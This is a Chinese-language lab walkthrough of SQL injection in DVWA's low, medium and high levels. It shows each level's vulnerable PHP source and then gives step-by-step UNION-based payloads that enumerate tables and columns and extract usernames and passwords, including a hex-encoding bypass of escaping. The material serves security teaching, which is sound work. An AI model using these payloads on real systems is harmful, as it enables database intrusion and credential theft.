一、Low SQL Injection
1.sql语句
//low等级源码
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
字符型注入,无任何过滤,用单引号闭合
2. 注入:
(1)判断
id=1 有回显
id=1' 报错
id=1' # 有回显与id=1一致,判断单引号闭合
常用的闭合方式还有:
id = "input_id"
id = ("input_id")
id = ('input_id')
(2)用order by判断列数
id=1' order by 1 #
id=1' order by 2 #
id=1' order by 3 #
·····
id=1' order by n #
直到报错为止,最后一个页面正确回显的数,即为列数
知道返回的列名之后,就可以执行后继的操作和查询各种数据了。
比如查询当前的数据库名和当前的用户名以及当前的sql版本号(若有两列)
id=-1' union select database(),user() #
或
id=-1' union select 1,version() #
这里的数字1只是为了凑后面的列数,union查询前后的列数要一致才行
(3)注入出当前数据库所有的表名
方法一:回显在一条结果:
id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) #
group_concat语法:
group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
说明:通过使用distinct可以排除重复值;如果希望对结果中的值进行排序,可以使用order by子句;separator是一个字符串值,缺省为一个逗号。
方法二:回显在多条结果:
id=-1' union select 1,table_name from information_schema.tables where table_schema=database() #
(4)注入出某一个表中的全部列名
(假设表名为’users’)
方法一:回显在一条结果
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users') #
方法二:回显在多条结果
id=-1’ union select 1,column_name from information_schema.columns where table_name=’users’ #
(5)注入出字段内容(假设字段名为user、password)
方法一:回显在一条结果
id=-1' union select (select group_concat(User) from users),(select group_concat(Password) from users) #
方法二:回显在多条结果
id=-1‘ union select user,password from users #
二、Medium SQL Injection
1.SQL语句
//medium等级源码
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
(1)为POST型注入,要用BurpSuit抓包,Post传入sql语句
(2)虽用了mysqli_real_escape_string()函数来进行过滤,但是sql语句直接使用了$id,没有闭合,为数字型注入,id里面的sql语句可以直接执行。
注:mysqli_real_escape_string()函数介绍:
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。 下列字符受影响:
• \x00
• \n
• \r
• \
• ’
• "
• \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
2.注入
注入语句与low等级的基本一致,只不过要通过post传入。
(1)判断:
id=1 有回显
id=1 and 1=1 有回显
id=1 and 1=2 无回显
说明id后面的sql语句被直接执行了,可进行注入
(2)用order by判断列数
方法与low等级一致
知道了列数之后就可以用union联合查询当前的用户名、数据库名的信息,例如:
(3)注入出当前数据库所有的表名
-1 union select 1,table_name from information_schema.tables where table_schema=database()
(4) 注入出某一个表中的全部列名(假设表名为users)
这里注意,如果按照low等级,注入语句应该如下:
id=-1 union select 1,column_name from information_schema.columns where table_name='users'
但是,medium等级中使用了 mysql_real_escape_string() 函数将引号给过滤掉了,所以上述语句会报错。
因此,这里可以使用十六进制来绕过引号,也就是将表名users转换为十六进制(users的十六进制为7573657273,引号不用转换),即正确的注入语句如下:
id=-1 union select 1,column_name from information_schema.columns where table_name=0x7573657273
(5)注入出字段内容(假设字段名为user、password)
id=-1 union select user,password from users
三、High SQL Injection
1.SQL语句
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
high等级的代码,与low等级相比,只是在sql语句后面加了一个limit限制输出的数量,但是可以通过#将其注释掉,那么注入方法就与low等级的一模一样了,这里就不做详细的演示。
注意: high等级还有一个区别就是,回显页面和注入页面不在同一个页面,这样手工注入的时候区别不大,但是使用sqlmap注入时,就有区别了。
可以参考这篇文章:SQLMAP注入DVWA high level